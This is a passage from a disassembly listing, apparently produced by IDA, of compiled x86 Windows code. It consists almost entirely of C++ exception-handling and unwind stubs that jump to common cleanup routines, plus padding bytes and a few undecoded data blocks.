SEH_4175E0	proc near		; DATA XREF: sub_4175E0+2o
		mov	eax, offset dword_4409D0
		jmp	sub_436858
SEH_4175E0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A77B:				; DATA XREF: ___:00440A44o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417680	proc near		; DATA XREF: sub_417680+2o
		mov	eax, offset dword_440A18
		jmp	sub_436858
SEH_417680	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A7EE:				; DATA XREF: ___:00440A9Co
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417750	proc near		; DATA XREF: sub_417750+2o
		mov	eax, offset dword_440A70
		jmp	sub_436858
SEH_417750	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A84B:				; DATA XREF: ___:00440AE4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417810	proc near		; DATA XREF: sub_417810+2o
		mov	eax, offset dword_440AB8
		jmp	sub_436858
SEH_417810	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A8AB:				; DATA XREF: ___:00440B34o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4178D0	proc near		; DATA XREF: sub_4178D0+2o
		mov	eax, offset dword_440B08
		jmp	sub_436858
SEH_4178D0	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417990	proc near		; DATA XREF: sub_417990+2o
		mov	eax, offset dword_440B58
		jmp	sub_436858
SEH_417990	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417A00	proc near		; DATA XREF: sub_417A00+2o
		mov	eax, offset dword_440B88
		jmp	sub_436858
SEH_417A00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417A70	proc near		; DATA XREF: sub_417A70+2o
		mov	eax, offset dword_440BB8
		jmp	sub_436858
SEH_417A70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A96B:				; DATA XREF: ___:00440C14o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417B00	proc near		; DATA XREF: sub_417B00+2o
		mov	eax, offset dword_440BE8
		jmp	sub_436858
SEH_417B00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43A99B:				; DATA XREF: ___:00440C4Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417BC0	proc near		; DATA XREF: sub_417BC0+2o
		mov	eax, offset dword_440C20
		jmp	sub_436858
SEH_417BC0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A9EB:				; DATA XREF: ___:00440C94o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417C60	proc near		; DATA XREF: sub_417C60+2o
		mov	eax, offset dword_440C68
		jmp	sub_436858
SEH_417C60	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AA3B:				; DATA XREF: ___:00440CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417D00	proc near		; DATA XREF: sub_417D00+2o
		mov	eax, offset dword_440CB0
		jmp	sub_436858
SEH_417D00	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AAAE:				; DATA XREF: ___:00440D34o
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417DD0	proc near		; DATA XREF: sub_417DD0+2o
		mov	eax, offset dword_440D08
		jmp	sub_436858
SEH_417DD0	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AB0B:				; DATA XREF: ___:00440D7Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417EF0	proc near		; DATA XREF: sub_417EF0+2o
		mov	eax, offset dword_440D50
		jmp	sub_436858
SEH_417EF0	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AB6B:				; DATA XREF: ___:00440DCCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417FB0	proc near		; DATA XREF: sub_417FB0+2o
		mov	eax, offset dword_440DA0
		jmp	sub_436858
SEH_417FB0	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418070	proc near		; DATA XREF: sub_418070+2o
		mov	eax, offset dword_440DF0
		jmp	sub_436858
SEH_418070	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418120	proc near		; DATA XREF: sub_418120+2o
		mov	eax, offset dword_440E20
		jmp	sub_436858
SEH_418120	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4181A0	proc near		; DATA XREF: sub_4181A0+2o
		mov	eax, offset dword_440E50
		jmp	sub_436858
SEH_4181A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AC2B:				; DATA XREF: ___:00440EACo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418250	proc near		; DATA XREF: sub_418250+2o
		mov	eax, offset dword_440E80
		jmp	sub_436858
SEH_418250	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AC5B:				; DATA XREF: ___:00440EE4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418330	proc near		; DATA XREF: sub_418330+2o
		mov	eax, offset dword_440EB8
		jmp	sub_436858
SEH_418330	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1B4h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418530	proc near		; DATA XREF: sub_418530+8o
		mov	eax, offset dword_440F00
		jmp	sub_436858
SEH_418530	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_419150	proc near		; DATA XREF: sub_419150+2o
		mov	eax, offset dword_440F30
		jmp	sub_436858
SEH_419150	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_419210	proc near		; DATA XREF: sub_419210+2o
		mov	eax, offset dword_440F68
		jmp	sub_436858
SEH_419210	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4192C0	proc near		; DATA XREF: sub_4192C0+2o
		mov	eax, offset dword_440F98
		jmp	sub_436858
SEH_4192C0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AD3B:				; DATA XREF: ___:00440FF4o
		lea	ecx, [ebp-28Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_419360	proc near		; DATA XREF: sub_419360+2o
		mov	eax, offset dword_440FC8
		jmp	sub_436858
SEH_419360	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-820h]
		jmp	sub_40186B
; ---------------------------------------------------------------------------


loc_43AD6B:				; DATA XREF: ___:0041A228o
		mov	eax, offset dword_441000
		jmp	sub_436858
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-44h]
		and	eax, 1
		test	eax, eax
		jz	locret_43AD96
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43AD96:				; CODE XREF: ___:0043AD88j
		retn
; ---------------------------------------------------------------------------


loc_43AD97:				; DATA XREF: ___:0044105Co
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43ADA7:				; DATA XREF: ___:0041B192o
		mov	eax, offset dword_441030
		jmp	sub_436858
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41B4A0	proc near		; DATA XREF: sub_41B4A0+2o
		mov	eax, offset dword_441070
		jmp	sub_436858
SEH_41B4A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43ADE0	proc near		; DATA XREF: ___:004410CCo
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
sub_43ADE0	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		and	eax, 1
		test	eax, eax
		jz	locret_43ADFE
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43ADFE:				; CODE XREF: ___:0043ADF0j
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE07:				; DATA XREF: ___:004410DCo
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41B9F0	proc near		; DATA XREF: sub_41B9F0+2o
		mov	eax, offset dword_4410A0
		jmp	sub_436858
SEH_41B9F0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41C430	proc near		; DATA XREF: sub_41C430+2o
		mov	eax, offset dword_4410E8
		jmp	sub_436858
SEH_41C430	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE8B:				; DATA XREF: ___:0044116Co
		lea	ecx, [ebp-0DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-94h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	sub_4014B0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_436872
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41C6B0	proc near		; DATA XREF: sub_41C6B0+2o
		mov	eax, offset dword_441140
		jmp	sub_436858
SEH_41C6B0	endp

; ---------------------------------------------------------------------------
		db 59h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B018:				; DATA XREF: ___:00441274o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D5E0	proc near		; DATA XREF: sub_41D5E0+2o
		mov	eax, offset dword_441248
		jmp	sub_436858
SEH_41D5E0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B058:				; DATA XREF: ___:004412BCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D670	proc near		; DATA XREF: sub_41D670+2o
		mov	eax, offset dword_441290
		jmp	sub_436858
SEH_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B098:				; DATA XREF: ___:00441304o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 50h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 65h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D710	proc near		; DATA XREF: sub_41D710+2o
		mov	eax, offset dword_4412D8
		jmp	sub_436858
SEH_41D710	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B0F8:				; DATA XREF: ___:0044135Co
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 50h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 65h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D800	proc near		; DATA XREF: sub_41D800+2o
		mov	eax, offset dword_441330
		jmp	sub_436858
SEH_41D800	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1140h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B192:				; DATA XREF: sub_41D8D0+8o
		mov	eax, offset dword_441388
		jmp	sub_436858
; ---------------------------------------------------------------------------
		db 14h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41E1E0	proc near		; DATA XREF: sub_41E1E0+2o
		mov	eax, offset dword_4413E0
		jmp	sub_436858
SEH_41E1E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41E4A0	proc near		; DATA XREF: sub_41E4A0+2o
		mov	eax, offset dword_441420
		jmp	sub_436858
SEH_41E4A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-48h]
		jmp	sub_401816
; ---------------------------------------------------------------------------


loc_43B228:				; DATA XREF: ___:0044149Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-48h]
		jmp	sub_401253
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41E700	proc near		; DATA XREF: sub_41E700+8o
		mov	eax, offset dword_441470
		jmp	sub_436858
SEH_41E700	endp

; ---------------------------------------------------------------------------
asc_43B28A	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ̸',0
		dw 4415h
		dd 0B59EE900h, 0CCCCFFFFh, 0CCCCCCCCh, 0E68C8D8Dh, 5BE9FFFFh
		dd 8DFFFC5Fh, 0FFE6A48Dh, 5F50E9FFh, 8D8DFFFCh,	0FFFFE6BCh
		dd 0FC5F45E9h, 748D8DFFh, 0E9FFFFE6h, 0FFFC5F3Ah, 0E7048D8Dh
		dd 2FE9FFFFh, 8DFFFC5Fh, 0FFE74C8Dh, 5F24E9FFh,	8D8DFFFCh
		dd 0FFFFE6D4h, 0FC5F19E9h, 348D8DFFh, 0E9FFFFE7h, 0FFFC5F0Eh
		dd 0E6EC8D8Dh, 3E9FFFFh, 8DFFFC5Fh, 0FFE71C8Dh,	5EF8E9FFh
		db 0FCh, 0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41EFD0	proc near		; DATA XREF: sub_41EFD0+8o
		mov	eax, offset dword_441560
		jmp	sub_436858
SEH_41EFD0	endp

; ---------------------------------------------------------------------------
		db 28h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B368:				; DATA XREF: ___:0044160Co
		lea	ecx, [ebp-64h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41F900	proc near		; DATA XREF: sub_41F900+2o
		mov	eax, offset dword_4415E0
		jmp	sub_436858
SEH_41F900	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		dw 8D8Dh
		dd 0FFFFFBB4h, 0C540E4E9h
		db 75h,	92h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_420190	proc near		; DATA XREF: sub_420190+2o
		mov	eax, offset dword_441618
		jmp	sub_436858
SEH_420190	endp

; ---------------------------------------------------------------------------
		db 14h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-112Ch]
		jmp	sub_401A6E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4205D0	proc near		; DATA XREF: sub_4205D0+8o
		mov	eax, offset dword_441658
		jmp	sub_436858
SEH_4205D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-4FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B3EB:				; DATA XREF: ___:004416B4o
		lea	ecx, [ebp-434h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_420880	proc near		; DATA XREF: sub_420880+2o
